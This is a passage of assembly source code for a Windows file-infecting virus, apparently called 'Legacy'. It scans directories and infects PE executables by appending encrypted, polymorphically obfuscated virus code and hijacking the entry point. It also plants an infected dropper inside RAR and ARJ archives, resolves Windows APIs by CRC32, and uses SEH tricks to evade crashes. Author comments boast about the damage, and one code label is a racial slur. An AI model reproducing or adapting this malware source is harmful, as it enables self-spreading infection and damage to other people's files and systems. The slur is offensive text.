eBlock6 label   byte

TPI_RestoreSEH:
	xor     edx,edx
	pop     dword ptr fs:[edx]
	pop     edx

	popad

	and     byte ptr [ebp+TPI_semaphore],THREAD_SLEEPING

	jmp     ExitThread
ThrPrepareInf   endp

;[][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][]
;|| Thread used for infect files                                           ||
;[][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][]

ThrInfectFiles  proc PASCAL delta_thread:DWORD

	mov     ebp,delta_thread

	xor     ecx,ecx
TIF_Sleep:
	mov     cl,THREAD_SLEEPING
TIF_semaphore   equ $-1
	jecxz   TIF_Sleep

	pushad

	call    TIF_SetupSEH
	mov     esp,[esp+08h]
	jmp     TIF_RestoreSEH
TIF_SetupSEH:
	xor     edx,edx
	push    dword ptr fs:[edx]
	mov     fs:[edx],esp

	call    iENC_decrypt
	dd      00000000h
	dd      eBlock7-Block7

Block7  label   byte

	lea     edi,[ebp+directories]           ; Pointer to array of dirs
	mov     byte ptr [ebp+mirrormirror],dirs2inf
requiem:
	push    edi                             ; Set it as current
	apicall _SetCurrentDirectoryA

	push    edi                             ; Preserve that pointer
	lea     esi,[ebp+Extensions_Table]      ; Pointer to exts table
	mov     ecx,nExtensions
DirInf:
	lea     edi,[ebp+EXTENSION]             ; Ptr to active extension
	movsd                                   ; Put next one

	pushad
	call    Infect                          ; Infect some filez
	popad

	loop    DirInf
	pop     edi

	add     edi,7Fh                         ; Ptr to next dir

	dec     byte ptr [ebp+mirrormirror]     ; eeeooo supeeeeeerrr... :)
	jnz     requiem

eBlock7 label   byte

TIF_RestoreSEH:
	xor     edx,edx
	pop     dword ptr fs:[edx]
	pop     edx

	popad

	and     byte ptr [ebp+TIF_semaphore],THREAD_SLEEPING

	jmp     ExitThread
ThrInfectFiles  endp

;[][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][]
;|| Search all the files (until limit reached) matching with search mask   ||
;[][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][]

Infect:

	call    iENC_decrypt
	dd      00000000h
	dd      eBlock8-Block8

Block8  label   byte

	and     dword ptr [ebp+infections],00000000h ; reset countah
	lea     eax,[ebp+offset WIN32_FIND_DATA] ; Find's shit
	push    eax
	lea     eax,[ebp+offset SEARCH_MASK]
	push    eax

	apicall _FindFirstFileA                 ; Find da first file
	cmp_    eax,FailInfect

	mov     dword ptr [ebp+SearchHandle],eax

__1:    push    dword ptr [ebp+ModBase]
	push    dword ptr [ebp+OldEIP]
	push    dword ptr [ebp+NewEIP]

	cmp     dword ptr [ebp+EXTENSION],"RAR"
	jz      ArchInfection
	cmp     dword ptr [ebp+EXTENSION],"JRA"
	jz      ArchInfection

	call    Infection
	jmp     overit
ArchInfection:
	call    InfectArchives

overit: pop     dword ptr [ebp+NewEIP]
	pop     dword ptr [ebp+OldEIP]
	pop     dword ptr [ebp+ModBase]

	inc     byte ptr [ebp+infections]
	cmp     byte ptr [ebp+infections],n_infections
	jz      FailInfect

__2:    lea     edi,[ebp+WFD_szFileName]
	mov     ecx,MAX_PATH
	xor     al,al
	rep     stosb

	lea     eax,[ebp+offset WIN32_FIND_DATA]
	push    eax
	push    dword ptr [ebp+SearchHandle]
	apicall _FindNextFileA
	or      eax,eax
	jnz     __1

CloseSearchHandle:
	push    dword ptr [ebp+SearchHandle]
	apicall _FindClose
FailInfect:
	ret

eBlock8 label   byte

;[][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][]
;|| Infect PE file (by using WFD info)                                     ||
;[][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][]

Infection:

	call    iENC_decrypt
	dd      00000000h
	dd      eBlock9-Block9

Block9  label   byte

	lea     esi,[ebp+WFD_szFileName]        ; Get FileName to infect
	push    80h
	push    esi
	apicall _SetFileAttributesA             ; Wipe its attributes

	call    OpenFile                        ; Open it

	cmp_    eax,CantOpen

	mov     dword ptr [ebp+FileHandle],eax

	mov     ecx,dword ptr [ebp+WFD_nFileSizeLow] ; 1st we create map with 
	call    CreateMap                       ; its exact size
	or      eax,eax
	jz      CloseFile

	mov     dword ptr [ebp+MapHandle],eax

	mov     ecx,dword ptr [ebp+WFD_nFileSizeLow] 
	call    MapFile                         ; Map it
	or      eax,eax
	jz      UnMapFile

	mov     dword ptr [ebp+MapAddress],eax

	mov     esi,[eax+3Ch]
	add     esi,eax
	cmp     dword ptr [esi],"EP"            ; Is it PE?
	jnz     NoInfect

	cmp     dword ptr [esi+mark],inf_mark   ; Was it infected?
	jz      NoInfect

	push    dword ptr [esi+3Ch]

	push    dword ptr [ebp+MapAddress]      ; Close all
	apicall _UnmapViewOfFile

	push    dword ptr [ebp+MapHandle]
	apicall _CloseHandle

	pop     ecx

	mov     eax,dword ptr [ebp+WFD_nFileSizeLow] ; And Map all again.
	add     eax,virus_size

	call    Align
	xchg    ecx,eax

	mov     dword ptr [ebp+NewSize],ecx

	call    CreateMap
	or      eax,eax
	jz      CloseFile

	mov     dword ptr [ebp+MapHandle],eax

	mov     ecx,dword ptr [ebp+NewSize]
	call    MapFile
	or      eax,eax
	jz      UnMapFile

	mov     dword ptr [ebp+MapAddress],eax
	
	mov     esi,[eax+3Ch]
	add     esi,eax

	mov     edi,esi

	movzx   eax,word ptr [edi+06h]
	dec     eax
	imul    eax,eax,28h
	add     esi,eax
	add     esi,78h
	mov     edx,[edi+74h]
	shl     edx,03h
	add     esi,edx

	pushad

	cmp     dword ptr [esi],"ler."
	jnz     not_reloc
	cmp     word ptr [esi+4],"co"
	jnz     not_reloc

	xchg    edi,esi                         ; Put a new name to .reloc
	call    GenerateName                    ; section :)

not_reloc:
	popad

	and     dword ptr [edi+0A0h],00h        ; Nulify the relocs, so they
	and     dword ptr [edi+0A4h],00h        ; won't fuck us :)

	mov     eax,[edi+28h]
	mov     dword ptr [ebp+OldEIP],eax

	mov     edx,[esi+10h]
	mov     ebx,edx
	add     edx,[esi+14h]

	push    edx

	mov     eax,ebx
	add     eax,[esi+0Ch]
	mov     dword ptr [ebp+NewEIP],eax

	mov     eax,[esi+10h]
	add     eax,virus_size
	mov     ecx,[edi+3Ch]
	call    Align

	mov     [esi+10h],eax
	mov     [esi+08h],eax

	pop     edx

	mov     eax,[esi+10h]
	add     eax,[esi+0Ch]
	mov     [edi+50h],eax

	or      dword ptr [esi+24h],section_flags
	mov     dword ptr [edi+mark],inf_mark

	pushad

	mov     eax,[edi+28h]

	mov     esi,edi
	add     esi,0F8h-28h                    ; Pointer to 1st section-28h
nigger: add     esi,28h                         ; Ptr to section name ;)
	mov     edx,eax                         ; Put in EDX the original EIP
	sub     edx,[esi+0Ch]                   ; Remove the VirtualAddress
	cmp     edx,[esi+08h]                   ; Is EIP pointing to this sec?
	jae     nigger                          ; If not, loop again

	or      [esi+24h],section_flags         ; Put sum attributes

	add     edx,[esi+14h]
	add     edx,dword ptr [ebp+MapAddress]
	mov     esi,edx
	push    edx

	push    00000100h                       ; Alloc 256 bytes for store
	push    00h                             ; the first bytes of the inf.
	apicall _GlobalAlloc                    ; files (temporally)
	mov     dword ptr [ebp+GlobalAllocHandle3],eax

	mov     ecx,100h
	push    ecx
	push    edi
	xchg    edi,eax
	rep     movsb
	pop     edi

	mov     eax,dword ptr [ebp+NewEIP]
	sub     eax,[edi+28h]
	lea     edi,[ebp+NewBytes]
	push    edi

; FREEDOM OR FIRE! Mwahahahahahah!

	call    phire                           ; Ya wanna sum fire? >:)

	pop     esi
	pop     ecx
	pop     edi
	rep     movsb
	popad

	push    edi
	push    edx
	apicall _GetTickCount
	pop     edx
	xchg    eax,ebx
	mov     dword ptr [ebp+key],ebx

	lea     esi,[ebp+legacy]
	xchg    edi,edx
	add     edi,dword ptr [ebp+MapAddress]

	push    edi
	mov     ecx,virus_size
	rep     movsb
	mov     edi,[esp]

	pushad
	lea     esi,[ebp+iENC_struc]
	call    iENC_encrypt
	popad

	pushad
	mov     esi,dword ptr [ebp+GlobalAllocHandle3]
	add     edi,(offset OldBytes-offset virus_start)
	mov     ecx,100h
	rep     movsb
	popad

	add     edi,(offset crypt-offset virus_start)
	mov     esi,edi

	mov     ecx,((offset virus_end-offset crypt)/4)
cloop:  lodsd
	xor     eax,ebx
	stosd
	loop    cloop

	mov     eax,edi

	pop     edi
	mov     ecx,virus_size-LIMIT
	mov     esi,edi
	add     esi,LIMIT       
	call    mmxe

	pop     edi
	mov     ecx,[edi+3Ch]
	call    Align
	sub     eax,dword ptr [ebp+MapAddress]

	push    eax

	push    dword ptr [ebp+MapAddress]
	push    eax
	call    Checksum
	mov     [edi+58h],eax

	pop     ecx
	call    TruncFile

	push    dword ptr [ebp+GlobalAllocHandle3] ; Free some memory
	apicall _GlobalFree

	jmp     UnMapFile

NoInfect:
	dec     byte ptr [ebp+infections]
	mov     ecx,dword ptr [ebp+WFD_nFileSizeLow]
	call    TruncFile

UnMapFile:
	push    dword ptr [ebp+MapAddress]
	apicall _UnmapViewOfFile

CloseMap:
	push    dword ptr [ebp+MapHandle]
	apicall _CloseHandle

CloseFile:
	push    dword ptr [ebp+FileHandle]
	apicall _CloseHandle

CantOpen:
	push    dword ptr [ebp+WFD_dwFileAttributes]
	lea     eax,[ebp+WFD_szFileName]
	push    eax
	apicall _SetFileAttributesA
	ret

eBlock9 label   byte

;[][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][]
;|| Infect given file in EDI                                               ||
;[][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][]

InfectEDI:

	call    iENC_decrypt
	dd      00000000h
	dd      eBlockA-BlockA

BlockA  label   byte

	push    edi
	apicall _GetFileAttributesA
	cmp_    eax,_ExitInfection
	mov     dword ptr [ebp+WFD_dwFileAttributes],eax       

	mov     esi,edi
	call    OpenFile
	cmp_    eax,_ExitInfection

	push    eax

	push    00000000h
	push    eax
	apicall _GetFileSize
	mov     dword ptr [ebp+WFD_nFileSizeLow],eax

	apicall _CloseHandle

	lea     esi,[ebp+WFD_szFileName]
	xchg    esi,edi
duhast: lodsb
	or      al,al
	jz      engel
	stosb
	jmp     duhast
engel:  stosb
	push    dword ptr [ebp+NewEIP]
	push    dword ptr [ebp+OldEIP]
	push    dword ptr [ebp+ModBase]
	call    Infection
	pop     dword ptr [ebp+ModBase]
	pop     dword ptr [ebp+OldEIP]
	pop     dword ptr [ebp+NewEIP]

	test    al,00h                          ; Overlapppppp
	org     $-1
_ExitInfection:
	stc
	ret

eBlockA label   byte

InfectArchiveEDI:

	call    iENC_decrypt
	dd      00000000h
	dd      eBlockB-BlockB

BlockB  label   byte

	lea     esi,[ebp+WFD_szFileName]
	xchg    edi,esi
	push    esi
	push    7Fh
	pop     ecx
	rep     movsb
	pop     edi
	eosz_edi
	mov     eax,[edi-4]
	mov     dword ptr [ebp+EXTENSION],eax
	jmp     InfectArchives

eBlockB label   byte

;[][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][]
;|| Infect Archives (using WFD Info)                                       ||
;[][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][]
;
; Infinite thanx here to two guys: StarZer0 and Int13h... Without you,
; i couldn't have been able to code this part of this virus :)

InfectArchives:

	call    iENC_decrypt
	dd      00000000h
	dd      eBlockC-BlockC

BlockC  label   byte

	lea     esi,[ebp+WFD_szFileName]        ; Save the name to infect for
	lea     edi,[ebp+TMP_szFileName]        ; later...
	push    7Fh
	pop     ecx
	rep     movsb

	push    00001000h                       ; Alloc memory for unpack the
	push    00000000h                       ; dropper
	apicall _GlobalAlloc
	or      eax,eax
	jz      ExitInfectArchive
	mov     dword ptr [ebp+GlobalAllocHandle],eax

	call    over_dropper
dr0p:   db      04Dh, 05Ah, 050h, 000h, 001h, 000h, 002h, 000h
	db      003h, 000h, 004h, 000h, 001h, 000h, 00Fh, 000h
	db      001h, 000h, 0FFh, 0FFh, 000h, 002h, 000h, 0B8h
	db      000h, 007h, 000h, 040h, 000h, 001h, 000h, 01Ah
	db      000h, 022h, 000h, 001h, 000h, 002h, 000h, 0BAh
	db      010h, 000h, 001h, 000h, 00Eh, 01Fh, 0B4h, 009h
	db      0CDh, 021h, 0B8h, 001h, 04Ch, 0CDh, 021h, 090h
	db      090h, 054h, 068h, 069h, 073h, 020h, 070h, 072h
	db      06Fh, 067h, 072h, 061h, 06Dh, 020h, 06Dh, 075h
	db      073h, 074h, 020h, 062h, 065h, 020h, 072h, 075h
	db      06Eh, 020h, 075h, 06Eh, 064h, 065h, 072h, 020h
	db      057h, 069h, 06Eh, 033h, 032h, 00Dh, 00Ah, 024h
	db      037h, 000h, 088h, 000h, 050h, 045h, 000h, 002h
	db      000h, 04Ch, 001h, 004h, 000h, 001h, 000h, 0D8h
	db      026h, 09Dh, 06Eh, 000h, 008h, 000h, 0E0h, 000h
	db      001h, 000h, 08Eh, 081h, 00Bh, 001h, 002h, 019h
	db      000h, 001h, 000h, 002h, 000h, 003h, 000h, 006h
	db      000h, 007h, 000h, 010h, 000h, 003h, 000h, 010h
	db      000h, 003h, 000h, 020h, 000h, 004h, 000h, 040h
	db      000h, 002h, 000h, 010h, 000h, 003h, 000h, 002h
	db      000h, 002h, 000h, 001h, 000h, 007h, 000h, 003h
	db      000h, 001h, 000h, 00Ah, 000h, 006h, 000h, 050h
	db      000h, 003h, 000h, 004h, 000h, 006h, 000h, 002h
	db      000h, 005h, 000h, 010h, 000h, 002h, 000h, 020h
	db      000h, 004h, 000h, 010h, 000h, 002h, 000h, 010h
	db      000h, 006h, 000h, 010h, 000h, 00Ch, 000h, 030h
	db      000h, 002h, 000h, 090h, 000h, 01Ch, 000h, 040h
	db      000h, 002h, 000h, 014h, 000h, 053h, 000h, 043h
	db      04Fh, 044h, 045h, 000h, 005h, 000h, 010h, 000h
	db      003h, 000h, 010h, 000h, 003h, 000h, 002h, 000h
	db      003h, 000h, 006h, 000h, 00Eh, 000h, 020h, 000h
	db      002h, 000h, 0E0h, 044h, 041h, 054h, 041h, 000h
	db      005h, 000h, 010h, 000h, 003h, 000h, 020h, 000h
	db      003h, 000h, 002h, 000h, 003h, 000h, 008h, 000h
	db      00Eh, 000h, 040h, 000h, 002h, 000h, 0C0h, 02Eh
	db      069h, 064h, 061h, 074h, 061h, 000h, 003h, 000h
	db      010h, 000h, 003h, 000h, 030h, 000h, 003h, 000h
	db      002h, 000h, 003h, 000h, 00Ah, 000h, 00Eh, 000h
	db      040h, 000h, 002h, 000h, 0C0h, 02Eh, 072h, 065h
	db      06Ch, 06Fh, 063h, 000h, 003h, 000h, 010h, 000h
	db      003h, 000h, 040h, 000h, 003h, 000h, 002h, 000h
	db      003h, 000h, 00Ch, 000h, 00Eh, 000h, 040h, 000h
	db      002h, 000h, 050h, 000h, 068h, 003h, 068h, 010h
	db      010h, 000h, 002h, 000h, 068h, 000h, 001h, 000h
	db      020h, 040h, 000h, 001h, 000h, 068h, 025h, 020h
	db      040h, 000h, 001h, 000h, 06Ah, 000h, 001h, 000h
	db      0E8h, 009h, 000h, 003h, 000h, 033h, 0C0h, 048h
	db      050h, 0E8h, 006h, 000h, 003h, 000h, 0FFh, 025h
	db      04Ch, 030h, 040h, 000h, 001h, 000h, 0FFh, 025h
	db      054h, 030h, 040h, 000h, 0D6h, 001h, 050h, 052h
	db      030h, 04Eh, 020h, 02Dh, 020h, 058h, 058h, 058h
	db      020h, 053h, 065h, 061h, 052h, 043h, 048h, 065h
	db      052h, 020h, 05Bh, 046h, 061h, 054h, 061h, 04Ch
	db      020h, 065h, 052h, 052h, 06Fh, 052h, 021h, 021h
	db      021h, 05Dh, 000h, 001h, 000h, 055h, 06Eh, 061h
	db      062h, 06Ch, 065h, 020h, 074h, 06Fh, 020h, 069h
	db      06Eh, 069h, 074h, 069h, 061h, 06Ch, 069h, 07Ah
	db      065h, 020h, 073h, 065h, 061h, 072h, 063h, 068h
	db      020h, 065h, 06Eh, 067h, 069h, 06Eh, 065h, 00Ah
	db      055h, 06Eh, 06Bh, 06Eh, 06Fh, 077h, 06Eh, 020h
	db      065h, 072h, 072h, 06Fh, 072h, 020h, 061h, 074h
	db      020h, 061h, 064h, 064h, 072h, 065h, 073h, 073h
	db      020h, 042h, 046h, 046h, 037h, 039h, 034h, 036h
	db      033h, 000h, 097h, 001h, 03Ch, 030h, 000h, 00Ah
	db      000h, 05Ch, 030h, 000h, 002h, 000h, 04Ch, 030h
	db      000h, 002h, 000h, 044h, 030h, 000h, 00Ah, 000h
	db      067h, 030h, 000h, 002h, 000h, 054h, 030h, 000h
	db      016h, 000h, 074h, 030h, 000h, 006h, 000h, 082h
	db      030h, 000h, 006h, 000h, 074h, 030h, 000h, 006h
	db      000h, 082h, 030h, 000h, 006h, 000h, 055h, 053h
	db      045h, 052h, 033h, 032h, 02Eh, 064h, 06Ch, 06Ch
	db      000h, 001h, 000h, 04Bh, 045h, 052h, 04Eh, 045h
	db      04Ch, 033h, 032h, 02Eh, 064h, 06Ch, 06Ch, 000h
	db      003h, 000h, 04Dh, 065h, 073h, 073h, 061h, 067h
	db      065h, 042h, 06Fh, 078h, 041h, 000h, 003h, 000h
	db      045h, 078h, 069h, 074h, 050h, 072h, 06Fh, 063h
	db      065h, 073h, 073h, 000h, 072h, 001h, 010h, 000h
	db      002h, 000h, 014h, 000h, 003h, 000h, 006h, 030h
	db      00Bh, 030h, 021h, 030h, 027h, 030h, 000h, 0F0h
	db      003h
sdr0p   equ     ($-offset dr0p)
over_dropper:
	pop     esi

	mov     ecx,sdr0p                       ; Unpack in allocated memory
	xchg    edi,eax                         ; the dropper
	call    LSCE_UnPack

	push    00000000h                       ; Create the dropper on
	push    00000080h                       ; a temporal file called
	push    00000002h                       ; LEGACY.TMP (that will be
	push    00000000h                       ; erased later)
	push    00000001h
	push    40000000h
	lea     edi,[ebp+hate]
	push    edi
	apicall _CreateFileA

	push    eax                             ; Write it, sucka!

	push    00000000h
	lea     ebx,[ebp+iobytes]
	push    ebx
	push    00001000h
	push    dword ptr [ebp+GlobalAllocHandle]
	push    eax
	apicall _WriteFile

	apicall _CloseHandle

	call    o_tmp
hate    db      "LEGACY.TMP",0                  ; Infect the dropped file
o_tmp:  pop     edi
	call    InfectEDI

	lea     eax,[ebp+WIN32_FIND_DATA]       ; Find's shit
	push    eax
	lea     eax,[ebp+hate]
	push    eax
	apicall _FindFirstFileA

	inc     eax
	jz      CantOpenArchive
	dec     eax

	push    dword ptr [ebp+WFD_nFileSizeLow]
	pop     dword ptr [ebp+InfDropperSize]

	push    eax
	apicall _FindClose

	lea     esi,[ebp+hate]
	call    OpenFile
	mov     dword ptr [ebp+FileHandle],eax

	push    dword ptr [ebp+InfDropperSize]
	push    00000000h
	apicall _GlobalAlloc
	or      eax,eax
	jz      CloseFileArchive

	mov     dword ptr [ebp+GlobalAllocHandle2],eax

	push    00h
	lea     ebx,[ebp+NumBytesRead]
	push    ebx
	push    dword ptr [ebp+InfDropperSize]
	push    eax
	push    dword ptr [ebp+FileHandle]
	apicall _ReadFile

	push    dword ptr [ebp+FileHandle]
	apicall _CloseHandle

	lea     esi,[ebp+TMP_szFileName]        ; Get FileName to infect
	push    80h
	push    esi
	apicall _SetFileAttributesA             ; Wipe its attributes

	call    OpenFile                        ; Open it

	cmp_    eax,CantOpenArchive
	mov     dword ptr [ebp+FileHandle],eax

	push    00h
	push    eax
	apicall _GetFileSize
	mov     dword ptr [ebp+ArchiveSize],eax

	mov     ecx,dword ptr [ebp+EXTENSION]
;       cmp     ecx,"RAR"
;       jz      InfectRAR
	cmp     ecx,"JRA"
	jz      InfectARJ

; -------------
; RAR Infection
; -------------

InfectRAR:
	push    00h                             ; See if it was previously
	push    00h                             ; infected...
	sub     eax,dword ptr [ebp+InfDropperSize]
	sub     eax,sRARHeaderSize
	push    eax
	push    dword ptr [ebp+FileHandle]
	apicall _SetFilePointer
	inc     eax
	jz      TryToInfectRAR
	dec     eax

	push    00h
	lea     ebx,[ebp+NumBytesRead]
	push    ebx
	push    50d
	lea     ebx,[ebp+ArchiveBuffer]
	push    ebx
	push    dword ptr [ebp+FileHandle]
	apicall _ReadFile
	or      eax,eax
	jz      TryToInfectRAR

	cmp     word ptr [ebp+ArchiveBuffer+14h],archive_mark
	jz      CloseFileArchive

; Let's fill properly RAR fields :)

TryToInfectRAR:
	lea     edi,[ebp+RARName]               ; Generate a random 6 char name
	call    GenerateName                    ; for the dr0pper ;)

	mov     edi,dword ptr [ebp+InfDropperSize]
	mov     dword ptr [ebp+RARCompressed],edi
	mov     dword ptr [ebp+RAROriginal],edi
	mov     esi,dword ptr [ebp+GlobalAllocHandle2]
	call    CRC32
	mov     dword ptr [ebp+RARCrc32],eax

	lea     esi,[ebp+RARHeader+2]
	mov     edi,sRARHeaderSize-2
	call    CRC32
	mov     word ptr [ebp+RARHeaderCRC],ax

	push    02h
	push    00h
	push    00h
	push    dword ptr [ebp+FileHandle]
	apicall _SetFilePointer

	push    00h
	lea     ebx,[ebp+iobytes]
	push    ebx
	push    sRARHeaderSize
	lea     ebx,[ebp+RARHeader]
	push    ebx
	push    dword ptr [ebp+FileHandle]
	apicall _WriteFile

	push    00h
	lea     ebx,[ebp+iobytes]
	push    ebx
	push    dword ptr [ebp+InfDropperSize]
	push    dword ptr [ebp+GlobalAllocHandle2]
	push    dword ptr [ebp+FileHandle]
	apicall _WriteFile

	jmp     CloseFileArchive

; -------------
; ARJ Infection
; -------------

InfectARJ:
	push    00h                             ; Let's see if it was infected
	push    00h
	sub     eax,dword ptr [ebp+InfDropperSize]
	sub     eax,sARJTotalSize+4
	push    eax
	push    dword ptr [ebp+FileHandle]
	apicall _SetFilePointer
	inc     eax
	jz      TryToInfectARJ
	dec     eax

	push    00h
	lea     ebx,[ebp+NumBytesRead]
	push    ebx
	push    50d
	lea     ebx,[ebp+ArchiveBuffer]
	push    ebx
	push    dword ptr [ebp+FileHandle]
	apicall _ReadFile
	or      eax,eax
	jz      TryToInfectARJ

	cmp     word ptr [ebp+ArchiveBuffer],0EA60h
	jnz     CloseFileArchive

	cmp     word ptr [ebp+ArchiveBuffer+0Ch],archive_mark
	jz      CloseFileArchive

; Let's fill properly ARJ fields :)

TryToInfectARJ:
	lea     edi,[ebp+ARJFilename]
	call    GenerateName

	push    02h
	push    00h
	push    00h
	push    dword ptr [ebp+FileHandle]
	apicall _SetFilePointer

	xchg    ecx,edx
	mov     edx,eax
	sub     edx,4
	sbb     ecx,1
	add     ecx,1

	push    00h
	push    00h
	push    edx
	push    dword ptr [ebp+FileHandle]
	apicall _SetFilePointer

	mov     edi,dword ptr [ebp+InfDropperSize]
	mov     dword ptr [ebp+ARJCompress],edi
	mov     dword ptr [ebp+ARJOriginal],edi
	mov     esi,dword ptr [ebp+GlobalAllocHandle2]
	call    CRC32
	mov     dword ptr [ebp+ARJCRC32],eax

	push    00h
	lea     ebx,[ebp+iobytes]
	push    ebx
	push    sARJHeader
	lea     ebx,[ebp+ARJHeader]
	push    ebx
	push    dword ptr [ebp+FileHandle]
	apicall _WriteFile

	lea     esi,[ebp+ARJHSmsize]
	mov     edi,sARJCRC32Size
	call    CRC32

	mov     dword ptr [ebp+ARJHeaderCRC],eax

	push    00h
	lea     ebx,[ebp+iobytes]
	push    ebx
	push    sARJSecondSide
	lea     ebx,[ebp+ARJSecondSide]
	push    ebx
	push    dword ptr [ebp+FileHandle]
	apicall _WriteFile

	push    00h
	lea     ebx,[ebp+iobytes]
	push    ebx
	push    dword ptr [ebp+InfDropperSize]
	push    dword ptr [ebp+GlobalAllocHandle2]
	push    dword ptr [ebp+FileHandle]
	apicall _WriteFile

	and     word ptr [ebp+ARJHeadsiz],0000h ; This shit is needed

	push    00h
	lea     ebx,[ebp+iobytes]
	push    ebx
	push    04h
	lea     ebx,[ebp+ARJHeader]
	push    ebx
	push    dword ptr [ebp+FileHandle]
	apicall _WriteFile

CloseFileArchive:
	push    dword ptr [ebp+FileHandle]
	apicall _CloseHandle

CantOpenArchive:
	push    dword ptr [ebp+GlobalAllocHandle]
	apicall _GlobalFree

	push    dword ptr [ebp+GlobalAllocHandle2]
	apicall _GlobalFree

	lea     edi,[ebp+hate]
	push    edi
	apicall _DeleteFileA
ExitInfectArchive:
	ret

eBlockC label   byte

;[][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][]
;|| Some miscellaneous routines                                            ||
;[][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][]

GetUsefulInfo:
	pushs   "USER32"
	apicall _LoadLibraryA
	push    eax
	lea     esi,[ebp+@FindWindowA]
	lea     edi,[ebp+@@OffsetzUSER32]
	call    GetAPIs
	apicall _FreeLibrary

	pushs   "ADVAPI32"
	apicall _LoadLibraryA
	push    eax
	lea     esi,[ebp+@RegCreateKeyExA]
	lea     edi,[ebp+@@OffsetzADVAPI32]
	call    GetAPIs
	apicall _FreeLibrary
	ret

; input:
;       ESI = Program return address
; output:
;       EAX = KERNEL32 imagebase
;

GetK32          proc
	pushad
	call    GetK32_SEH
	mov     esp,[esp+08h]
WeFailed:
	popad
	pushad
	mov     esi,kernel_w9x
	call    CheckMZ
	jnc     WeGotK32
	mov     esi,kernel_wNT
	call    CheckMZ
	jnc     WeGotK32
	mov     esi,kernel_w2k
	call    CheckMZ
	jnc     WeGotK32

	xor     esi,esi
	jmp     WeGotK32
GetK32_SEH:
	xor     edx,edx
	push    dword ptr fs:[edx]
	mov     fs:[edx],esp

	and     esi,0FFFF0000h
_@1:    cmp     word ptr [esi],"ZM"
	jz      CheckPE
_@2:    sub     esi,00010000h
	loop    _@1
	jmp     WeFailed
CheckPE:
	mov     edi,[esi+3Ch]
	add     edi,esi
	cmp     dword ptr [edi],"EP"
	jnz     _@2
WeGotK32:
	xor     edx,edx
	pop     dword ptr fs:[edx]
	pop     edx
	mov     [esp.PUSHAD_EAX],esi
	popad
	ret
GetK32          endp

; input:
;       EAX = Base address of the library where search the APIs
;       ESI = Pointer to an array of CRC32 of the APIs we want to search
;       EDI = Pointer to where store the APIs
; output:
;       Nothing.
;

GetAPIs         proc
	push    eax                             ; EAX = Handle of module
	pop     dword ptr [ebp+TmpModuleBase]
APIS33K:
	lodsd                                   ; Get in EAX the CRC32 of API
	push    esi edi
	call    GetAPI_ET_CRC32
	pop     edi esi
	stosd                                   ; Save in [EDI] the API address
	cmp     byte ptr [esi],Billy_Bel        ; Last API?
	jnz     APIS33K                         ; Yeah, get outta here
	ret
GetAPIs         endp

; input:
;       EAX = CRC32 of the API we want to know its address
; output:
;       EAX = API address
;

GetAPI_ET_CRC32 proc
	xor     edx,edx
	xchg    eax,edx                         ; Put CRC32 of da api in EDX
	mov     word ptr [ebp+Counter],ax       ; Reset counter
	mov     esi,3Ch
	add     esi,[ebp+TmpModuleBase]         ; Get PE header of module
	lodsw
	add     eax,[ebp+TmpModuleBase]         ; Normalize

	mov     esi,[eax+78h]                   ; Get a pointer to its 
	add     esi,1Ch                         ; Export Table
	add     esi,[ebp+TmpModuleBase]

	lea     edi,[ebp+AddressTableVA]        ; Pointer to the address table
	lodsd                                   ; Get AddressTable value
	add     eax,[ebp+TmpModuleBase]         ; Normalize
	stosd                                   ; And store in its variable

	lodsd                                   ; Get NameTable value
	add     eax,[ebp+TmpModuleBase]         ; Normalize
	push    eax                             ; Put it in stack
	stosd                                   ; Store in its variable

	lodsd                                   ; Get OrdinalTable value
	add     eax,[ebp+TmpModuleBase]         ; Normalize
	stosd                                   ; Store

	pop     esi                             ; ESI = NameTable VA

@?_3:   push    esi                             ; Save again
	lodsd                                   ; Get pointer to an API name
	add     eax,[ebp+TmpModuleBase]         ; Normalize
	xchg    edi,eax                         ; Store ptr in EDI
	mov     ebx,edi                         ; And in EBX

	push    edi                             ; Save EDI
	eosz_edi
	pop     esi                             ; ESI = Pointer to API Name

	sub     edi,ebx                         ; EDI = API Name size

	push    edx                             ; Save API's CRC32
	call    CRC32                           ; Get actual api's CRC32
	pop     edx                             ; Restore API's CRC32
	cmp     edx,eax                         ; Are them equal?
	jz      @?_4                            ; if yes, we got it

	pop     esi                             ; Restore ptr to api name
	add     esi,4                           ; Get the next
	inc     word ptr [ebp+Counter]          ; And increase the counter
	jmp     @?_3                            ; Get another api!
@?_4:
	pop     esi                             ; Remove shit from stack
	movzx   eax,word ptr [ebp+Counter]      ; AX = Counter
	shl     eax,1                           ; *2 (it's an array of words)
	add     eax,dword ptr [ebp+OrdinalTableVA] ; Normalize
	xchg    eax,esi                         ; ESI = Ptr 2 ordinal; EAX = 0
	lodsw                                   ; Get ordinal in AX
	cwde                                    ; Clear MSW of EAX
	shl     eax,2                           ; And with it we go to the
	add     eax,dword ptr [ebp+AddressTableVA] ; AddressTable (array of
	xchg    esi,eax                         ; dwords)
	lodsd                                   ; Get Address of API RVA
	add     eax,[ebp+TmpModuleBase]         ; and normalize!! That's it!
	ret
GetAPI_ET_CRC32 endp

; input:
;       EAX = Number to align
;       ECX = Alignment factor
; output:
;       EAX = Aligned number
;

Align           proc
	push    edx
	xor     edx,edx
	push    eax
	div     ecx
	pop     eax
	sub     ecx,edx
	add     eax,ecx
	pop     edx
	ret
Align           endp

; input:
;       ECX = Offset where truncate
; output:
;       Nothing.
;

TruncFile       proc
	xor     eax,eax
	push    eax
	push    eax
	push    ecx
	push    dword ptr [ebp+FileHandle]
	apicall _SetFilePointer

	push    dword ptr [ebp+FileHandle]
	apicall _SetEndOfFile
	ret
TruncFile       endp

; input:
;       ESI = Pointer to the file where open
; output:
;       EAX = Handle/INVALID_HANDLE_VALUE

OpenFile        proc
	xor     eax,eax
	push    eax
	push    eax
	push    00000003h
	push    eax
	inc     eax
	push    eax
	push    80000000h or 40000000h
	push    esi
	apicall _CreateFileA
	ret
